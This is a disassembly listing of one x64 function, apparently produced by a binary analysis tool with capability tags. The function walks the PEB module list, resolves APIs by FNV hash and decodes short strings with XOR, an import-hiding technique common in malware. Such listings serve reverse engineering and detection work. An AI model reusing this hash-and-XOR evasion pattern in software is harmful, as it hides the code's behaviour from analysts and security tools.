Function at 0x14005b2b0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rbp
push r12
lea rbp, [r11 - 0x5f]
sub rsp, 0x98
mov rax, qword [0x14014a4c8]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov qword [r11 - 0x18], rbx
mov r12, rcx
mov qword [r11 - 0x20], rsi
lea rsi, [rcx + 8]
mov qword [r11 - 0x28], rdi
mov qword [r11 - 0x30], r14
mov r14, rdx
mov qword [r11 - 0x38], r15
mov r15, r9
cmp r8b, 1
jne 0x14005b3e8
xor r9d, r9d
mov byte [rbp - 0x19], reloc.WLDAP32.dll_Ordinal_50
mov al, 0x46
mov byte [rbp - 0x14], r9b
xor al, 0x32
mov cl, 0x40
xor cl, 0x32
mov byte [rbp - 0x18], al
mov dl, 0x47
mov byte [rbp - 0x17], cl
xor dl, 0x32
mov r8b, 0x57
xor r8b, 0x32
mov byte [rbp - 0x16], dl
cmp qword [rsi + 0x18], 0x10
mov byte [rbp - 0x15], r8b
jb 0x14005b331
mov rsi, qword [rsi]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005b3c7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005b3c7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xad166996
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005b3c2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005b3a0
cmp r8d, 0xba61fa0e
je 0x14005b3cc
test r9d, r9d
jne 0x14005b380
mov rax, qword [rax]
jmp 0x14005b350
mov r8d, dword [rbx + 0x24]
add r8, r10
movzx r9d, word [r8 + r9*2]
mov r8d, dword [rbx + 0x1c]
add r8, r10
mov eax, dword [r8 + r9*4]
jmp 0x14005b4d1
xor r10d, r10d
mov byte [rbp - 0x19], 0x59
mov al, 0x3f
mov byte [rbp - 0x13], r10b
xor al, 0x59
mov cl, gethostname
xor cl, 0x59
mov byte [rbp - 0x18], al
mov dl, 0x35
mov byte [rbp - 0x17], cl
xor dl, 0x59
mov r8b, 0x2a
xor r8b, 0x59
mov byte [rbp - 0x16], dl
mov r9b, reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp - 0x15], r8b
xor r9b, 0x59
cmp qword [rsi + 0x18], 0x10
mov byte [rbp - 0x14], r9b
jb 0x14005b42a
mov rsi, qword [rsi]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14005b4b7
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14005b4b7
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x3089d1b9
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14005b4b2
nop dword [rax]
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14005b490
cmp r8d, 0x37e55d5d
je 0x14005b4bc
test r9d, r9d
jne 0x14005b470
mov rax, qword [rax]
jmp 0x14005b440
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov qword [rsp + 0x28], r15
lea r9, [rbp - 9]
lea r8, [rbp - 0x18]
mov dword [rsp + reloc.WLDAP32.dll_Ordinal_32], 0x20
mov rdx, rsi
mov rcx, r14
add rax, r10
call rax
mov r15, qword [rsp + 0x70]
test eax, eax
mov r14, qword [rsp + 0x78]
mov cl, 0x69
mov rdi, qword [rsp + 0x80]
setne r11b
mov rsi, qword [rsp + 0x88]
xor cl, 0x1b
mov rbx, qword [rsp + 0x90]
mov r8b, 0x7e
xor r8b, 0x1b
mov byte [rbp - 0xf], cl
xor r9d, r9d
mov byte [rbp - 0xd], r8b
mov al, reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp - 0x11], reloc.WLDAP32.dll_Ordinal_27
xor al, 0x1b
mov byte [rbp - 0xc], r9b
mov dl, WSAGetLastError
mov byte [rbp - 0x10], al
xor dl, 0x1b
lea r8, [rbp - 9]
lea rcx, [rbp - 0x10]
mov byte [rbp - 0xe], dl
xor r10d, r10d
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005b563
inc r10d
test rcx, rcx
jne 0x14005b551
test r10d, r10d
jne 0x14005b56e
lea r8, [rbp - 9]
jmp 0x14005b5df
lea r9, [rbp - 0x10]
lea rax, [rbp - 9]
sub r9, rax
nop dword [rax]
xor edx, edx
mov rcx, r8
test r8, r8
je 0x14005b5a1
nop word [rax + rax]
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14005b5a1
inc edx
test rcx, rcx
jne 0x14005b590
cmp edx, r10d
jl 0x14005b5dc
lea rax, [rbp - 0x10]
mov edx, r10d
mov rcx, r8
cmp r8, rax
je 0x14005b5df
test r10d, r10d
jle 0x14005b5df
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
cmp byte [rcx], al
jne 0x14005b5d4
dec edx
inc rcx
test edx, edx
jg 0x14005b5c0
jmp 0x14005b5df
inc r8
dec r9
jmp 0x14005b580
xor r8d, r8d
test r8, r8
movzx eax, r11b
setne cl
mov byte [r12], cl
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.1400c8960
add rsp, 0x98
pop r12
pop rbp
ret